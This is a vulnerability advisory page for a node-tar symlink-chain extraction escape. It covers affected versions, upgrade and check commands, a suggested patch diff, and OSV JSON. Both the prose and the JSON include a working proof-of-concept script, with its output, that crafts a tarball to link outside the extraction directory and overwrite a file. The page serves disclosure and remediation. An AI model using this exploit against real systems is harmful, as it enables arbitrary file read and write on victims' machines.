CVE-2026-140249: node-tar Symlink Target Escapes The Extraction Vulnerability

HIGH
Advisory Identifier: GHSA-4pf9-5fpx-xmr6
CWE-59 CWE-22
Published
Advisory Summary

CVE-2026-140249 is a HIGH symlink target escapes the extraction vulnerability (CWE-59: Improper Link Resolution Before File Access ('Link Following')) affecting node-tar libraries in the npm ecosystem. The issue involves symlink target escapes the extraction directory through an in-archive symlink chain. Remediation is available by upgrading affected packages to version 8.0.0.

CVE-2026-140249 at a Glance

CVE Identifier CVE-2026-140249
GHSA Identifier GHSA-4pf9-5fpx-xmr6
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-59: Improper Link Resolution Before File Access ('Link Following')
Affected Product node-tar
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-140249

To remediate this vulnerability, upgrade all affected node-tar dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

tar fixed: 8.0.0
npm install tar@8.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls tar

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-140249, inspect your project dependencies using npm:

npm ls tar

Analyze the terminal output to locate any version of node-tar in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.0.0), your application is affected.

Note: The npm ls tar command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following'), where the product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. In node-tar, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Summary With default options, tar.x() in tar 7.5.5 through 7.5.23 (the latest release) creates a symbolic link that points outside the extraction directory, and raises no warning. The archive needs only a directory and two symlinks. This breaks the README's listed protection that "Link and SymbolicLink entries are not allowed to target locations outside of the extraction folder." This is not the TOCTOU case (no one but tar touches the extraction folder) and not an old version: it reproduces on 7.5.23 and on main (eb92e17), with default options. ### Details x/ Directory x/y -> .. (resolves to cwd: allowed) l -> x/y/../secret.txt (checked as cwd/x/secret.txt; really cwd/../secret.txt) - [STRIPABSOLUTEPATH] validates the lexically normalized linkpath, x/secret.txt, which is inside cwd. - [SYMLINK] runs ENSURE_NO_SYMLINK on path.resolve(...) of the linkpath, which also removes y/.. before checking, so it never sees that x/y is a symlink. - [LINK] then creates the link with the raw linkpath, x/y/../secret.txt. The kernel resolves x/y first (to cwd), then applies .., so l points to cwd/../secret.txt. Repeating the x/y/ step reaches any absolute path: x/y/ × 8 followed by ../ × 16 and etc/hostname fits in the 100-byte ustar linkpath field and points at /etc/hostname. Entry order does not matter; the link can come before or after x/y. This is the same chain as the proof of concept in GHSA-83g3-92jg-28cx (CVE-2026-26960). That fix blocked the hardlink created through the chain; the symlink itself is still created. 7.5.3 and 7.5.4 reject it (they refused any .. in a linkpath); the regression came with the relaxation in #450 ("Allow unpacking symlinks that don't escape cwd") in 7.5.5. Versions ≤ 7.5.2 also create the link but are already covered by GHSA-8qq5-rm4j-mr97. Suggested fix Create the symlink with the same normalized target that [STRIPABSOLUTEPATH] validated, instead of the raw linkpath. Patch against main (eb92e17): --- a/src/unpack.ts +++ b/src/unpack.ts @@ -651,7 +651,23 @@ export class Unpack extends Parser { entry, this.cwd, parts, - () => this[LINK](entry, String(entry.linkpath), 'symlink', done), + // Create the symlink with the same lexically-normalized target that + // [STRIPABSOLUTEPATH] validated. Writing the raw linkpath would let a + // `..` segment follow a component that is (or later becomes) a symlink + // in the extraction dir, e.g. `x/y -> ..` plus `l -> x/y/../secret`, + // which normalizes to the in-bounds `x/secret` but really resolves + // outside cwd. + () => + this[LINK]( + entry, + this.preservePaths ? + String(entry.linkpath) + : path.posix.normalize( + normalizeWindowsPath(String(entry.linkpath)), + ), + 'symlink', + done, + ), er => { this[ONERROR](er, entry) done() It was created as x/secret.txt and stays inside cwd. There is also a regression test, test/symlink-chain-escape.ts, covering both entry orders with async and sync extraction: it fails on main and passes with the patch. The full suite passes with the patch (tap: 21,254 of 21,254). An adjusted approach for example, could be resolving each linkpath component against the extraction tree instead of normalizing lexically, preserving link targets byte-for-byte but at more cost. ### Proof of concept Save as poc.cjs next to a node_modules/tar install and run node poc.cjs ./node_modules/tar ./work. It builds the archive with tar's own Header, extracts it with default options (async and sync), and then does what an application normally does next: writes to a file by its name in the archive. const fs = require('fs') const path = require('path') const tar = require(path.resolve(process.argv[2])) const work = path.resolve(process.argv[3]) fs.rmSync(work, { recursive: true, force: true }) const cwd = path.join(work, 'extract') fs.mkdirSync(cwd, { recursive: true }) const secret = path.join(work, 'secret.txt') // outside the extraction dir fs.writeFileSync(secret, 'ORIGINAL\n') const entries = [ { path: 'x/', type: 'Directory' }, { path: 'x/y', type: 'SymbolicLink', linkpath: '..' }, { path: 'l', type: 'SymbolicLink', linkpath: 'x/y/../secret.txt' }, { path: 'deep', type: 'SymbolicLink', linkpath: 'x/y/'.repeat(8) + '../'.repeat(16) + 'etc/hostname' }, ] const blocks = [] for (const e of entries) { const b = Buffer.alloc(512) new tar.Header({ ...e, mode: 0o755, size: 0, mtime: new Date(0) }).encode(b, 0) blocks.push(b) } blocks.push(Buffer.alloc(1024)) const tarFile = path.join(work, 'poc.tar') fs.writeFileSync(tarFile, Buffer.concat(blocks)) const run = async (sync) => { fs.rmSync(cwd, { recursive: true, force: true }); fs.mkdirSync(cwd) fs.writeFileSync(secret, 'ORIGINAL\n') const warns = [] const opts = { cwd, file: tarFile, onwarn: (c, m) => warns.push(c + ' ' + m) } if (sync) tar.x({ ...opts, sync: true }); else await tar.x(opts) console.log(`--- tar.x({cwd, file${sync ? ', sync:true' : ''}})`) console.log('warnings:', warns.length ? warns : 'none') console.log('readlink l ->', fs.readlinkSync(path.join(cwd, 'l'))) console.log('realpath l ->', fs.realpathSync.native(path.join(cwd, 'l'))) console.log('realpath deep ->', fs.realpathSync.native(path.join(cwd, 'deep'))) fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n') console.log('secret.txt now ->', JSON.stringify(fs.readFileSync(secret, 'utf8'))) } run(false).then(() => run(true)) Output on tar 7.5.23, Node 22.23.4, Linux: --- tar.x({cwd, file}) warnings: none readlink l -> x/y/../secret.txt realpath l -> <workdir>/secret.txt realpath deep -> /etc/hostname secret.txt now -> "PWNED\n" --- tar.x({cwd, file, sync:true}) warnings: none readlink l -> x/y/../secret.txt realpath l -> <workdir>/secret.txt realpath deep -> /etc/hostname secret.txt now -> "PWNED\n" Same result on 7.5.5, 7.5.11 and on main (eb92e17), and with open PR #470 applied. 7.5.4 rejects all three links (TAR_ENTRY_ERROR linkpath contains '..'). ### Impact An attacker who supplies a tarball can make tar.x() with default options leave symlinks inside the extraction directory that point to any path on the system. tar itself does not write through them, but any later read or write of the extracted files by the application follows them: the PoC overwrites a file outside the extraction directory and resolves a link to /etc/hostname. This gives arbitrary file read and write as the extracting user, the same impact as GHSA-83g3-92jg-28cx and GHSA-9ppj-qmqm-q256. Applications that follow the README's advice to filter out link entries for untrusted input are not affected; npm itself filters links from package artifacts.

CVE-2026-140249 Affected node-tar Versions

1 component(s)
Fixed Versions:
8.0.0
Product / Package Ecosystem Affected Versions Fixed Version
tar
npm
≥ 7.5.5
< 8.0.0
8.0.0

References

Frequently Asked Questions

What is CVE-2026-140249?
CVE-2026-140249 is a security vulnerability in node-tar involving Symlink target escapes the extraction directory through an in-archive symlink chain under CWE-59: Improper Link Resolution Before File Access ('Link Following').
Which node-tar versions are affected?
Affected versions include releases prior to 8.0.0 across affected packages: tar.
What version fixes CVE-2026-140249?
Upgrading to 8.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is tar affected?
Yes, tar is affected in releases prior to 8.0.0. Upgrade your dependency to 8.0.0 or later.
What CWE is associated with CVE-2026-140249?
CVE-2026-140249 is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following') (The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.).
How can I check npm dependencies for CVE-2026-140249?
Run the dependency tree command: 'npm ls tar'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4pf9-5fpx-xmr6",
  "modified" : "2026-12-02T00:57:45Z",
  "published" : "2026-12-02T00:57:44Z",
  "aliases" : [ "CVE-2026-140249" ],
  "summary" : "node-tar: Symlink target escapes the extraction directory through an in-archive symlink chain",
  "details" : "### Summary\n\nSummary\nWith default options, tar.x() in tar 7.5.5 through 7.5.23 (the latest release) creates a symbolic link that points outside the extraction directory, and raises no warning. The archive needs only a directory and two symlinks. This breaks the README's listed protection that \"Link and SymbolicLink entries are not allowed to target locations outside of the extraction folder.\"\n\nThis is not the TOCTOU case (no one but tar touches the extraction folder) and not an old version: it reproduces on 7.5.23 and on main (eb92e17), with default options.\n\n### Details\n\nx/        Directory\nx/y   ->  ..                    (resolves to cwd: allowed)\nl     ->  x/y/../secret.txt     (checked as cwd/x/secret.txt; really cwd/../secret.txt)\n\n\n - [STRIPABSOLUTEPATH] validates the lexically normalized linkpath, x/secret.txt, which is inside cwd.\n - [SYMLINK] runs ENSURE_NO_SYMLINK on path.resolve(...) of the linkpath, which also removes y/.. before checking, so it never sees that x/y is a symlink.\n - [LINK] then creates the link with the raw linkpath, x/y/../secret.txt. The kernel resolves x/y first (to cwd), then applies .., so l points to cwd/../secret.txt.\n\nRepeating the x/y/ step reaches any absolute path: x/y/ × 8 followed by ../ × 16 and etc/hostname fits in the 100-byte ustar linkpath field and points at /etc/hostname. Entry order does not matter; the link can come before or after x/y.\n\nThis is the same chain as the proof of concept in GHSA-83g3-92jg-28cx (CVE-2026-26960). That fix blocked the hardlink created through the chain; the symlink itself is still created. 7.5.3 and 7.5.4 reject it (they refused any .. in a linkpath); the regression came with the relaxation in #450 (\"Allow unpacking symlinks that don't escape cwd\") in 7.5.5. Versions ≤ 7.5.2 also create the link but are already covered by GHSA-8qq5-rm4j-mr97.\n\n\nSuggested fix\n\nCreate the symlink with the same normalized target that [STRIPABSOLUTEPATH] validated, instead of the raw linkpath. Patch against main (eb92e17):\n\n--- a/src/unpack.ts\n+++ b/src/unpack.ts\n@@ -651,7 +651,23 @@ export class Unpack extends Parser {\n       entry,\n       this.cwd,\n       parts,\n-      () => this[LINK](entry, String(entry.linkpath), 'symlink', done),\n+      // Create the symlink with the same lexically-normalized target that\n+      // [STRIPABSOLUTEPATH] validated.  Writing the raw linkpath would let a\n+      // `..` segment follow a component that is (or later becomes) a symlink\n+      // in the extraction dir, e.g. `x/y -> ..` plus `l -> x/y/../secret`,\n+      // which normalizes to the in-bounds `x/secret` but really resolves\n+      // outside cwd.\n+      () =>\n+        this[LINK](\n+          entry,\n+          this.preservePaths ?\n+            String(entry.linkpath)\n+          : path.posix.normalize(\n+              normalizeWindowsPath(String(entry.linkpath)),\n+            ),\n+          'symlink',\n+          done,\n+        ),\n       er => {\n         this[ONERROR](er, entry)\n         done()\n\n\nIt was created as x/secret.txt and stays inside cwd. There is also a regression test, test/symlink-chain-escape.ts, covering both entry orders with async and sync extraction: it fails on main and passes with the patch. The full suite passes with the patch (tap: 21,254 of 21,254). An adjusted approach for example, could be resolving each linkpath component against the extraction tree instead of normalizing lexically, preserving link targets byte-for-byte but at more cost.\n\n\n\n\n\n### Proof of concept\n\nSave as poc.cjs next to a node_modules/tar install and run node poc.cjs ./node_modules/tar ./work. It builds the archive with tar's own Header, extracts it with default options (async and sync), and then does what an application normally does next: writes to a file by its name in the archive.\n\nconst fs = require('fs')\nconst path = require('path')\nconst tar = require(path.resolve(process.argv[2]))\nconst work = path.resolve(process.argv[3])\nfs.rmSync(work, { recursive: true, force: true })\nconst cwd = path.join(work, 'extract')\nfs.mkdirSync(cwd, { recursive: true })\nconst secret = path.join(work, 'secret.txt')          // outside the extraction dir\nfs.writeFileSync(secret, 'ORIGINAL\\n')\n\nconst entries = [\n  { path: 'x/', type: 'Directory' },\n  { path: 'x/y', type: 'SymbolicLink', linkpath: '..' },\n  { path: 'l', type: 'SymbolicLink', linkpath: 'x/y/../secret.txt' },\n  { path: 'deep', type: 'SymbolicLink',\n    linkpath: 'x/y/'.repeat(8) + '../'.repeat(16) + 'etc/hostname' },\n]\nconst blocks = []\nfor (const e of entries) {\n  const b = Buffer.alloc(512)\n  new tar.Header({ ...e, mode: 0o755, size: 0, mtime: new Date(0) }).encode(b, 0)\n  blocks.push(b)\n}\nblocks.push(Buffer.alloc(1024))\nconst tarFile = path.join(work, 'poc.tar')\nfs.writeFileSync(tarFile, Buffer.concat(blocks))\n\nconst run = async (sync) => {\n  fs.rmSync(cwd, { recursive: true, force: true }); fs.mkdirSync(cwd)\n  fs.writeFileSync(secret, 'ORIGINAL\\n')\n  const warns = []\n  const opts = { cwd, file: tarFile, onwarn: (c, m) => warns.push(c + ' ' + m) }\n  if (sync) tar.x({ ...opts, sync: true }); else await tar.x(opts)\n  console.log(`--- tar.x({cwd, file${sync ? ', sync:true' : ''}})`)\n  console.log('warnings:', warns.length ? warns : 'none')\n  console.log('readlink l      ->', fs.readlinkSync(path.join(cwd, 'l')))\n  console.log('realpath l      ->', fs.realpathSync.native(path.join(cwd, 'l')))\n  console.log('realpath deep   ->', fs.realpathSync.native(path.join(cwd, 'deep')))\n  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\\n')\n  console.log('secret.txt now  ->', JSON.stringify(fs.readFileSync(secret, 'utf8')))\n}\nrun(false).then(() => run(true))\n\n\nOutput on tar 7.5.23, Node 22.23.4, Linux:\n\n--- tar.x({cwd, file})\nwarnings: none\nreadlink l      -> x/y/../secret.txt\nrealpath l      -> <workdir>/secret.txt\nrealpath deep   -> /etc/hostname\nsecret.txt now  -> \"PWNED\\n\"\n--- tar.x({cwd, file, sync:true})\nwarnings: none\nreadlink l      -> x/y/../secret.txt\nrealpath l      -> <workdir>/secret.txt\nrealpath deep   -> /etc/hostname\nsecret.txt now  -> \"PWNED\\n\"\n\nSame result on 7.5.5, 7.5.11 and on main (eb92e17), and with open PR #470 applied. 7.5.4 rejects all three links (TAR_ENTRY_ERROR linkpath contains '..').\n\n\n\n\n\n### Impact\n\nAn attacker who supplies a tarball can make tar.x() with default options leave symlinks inside the extraction directory that point to any path on the system. tar itself does not write through them, but any later read or write of the extracted files by the application follows them: the PoC overwrites a file outside the extraction directory and resolves a link to /etc/hostname. This gives arbitrary file read and write as the extracting user, the same impact as GHSA-83g3-92jg-28cx and GHSA-9ppj-qmqm-q256.\n\nApplications that follow the README's advice to filter out link entries for untrusted input are not affected; npm itself filters links from package artifacts.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "tar"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "7.5.5"
      }, {
        "fixed" : "8.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/security/advisories/GHSA-4pf9-5fpx-xmr6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-140249"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/commit/23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/isaacs/node-tar"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/releases/tag/v8.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-59" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-12-02T00:57:44Z",
    "nvd_published_at" : "2026-12-01T18:17:29Z"
  }
}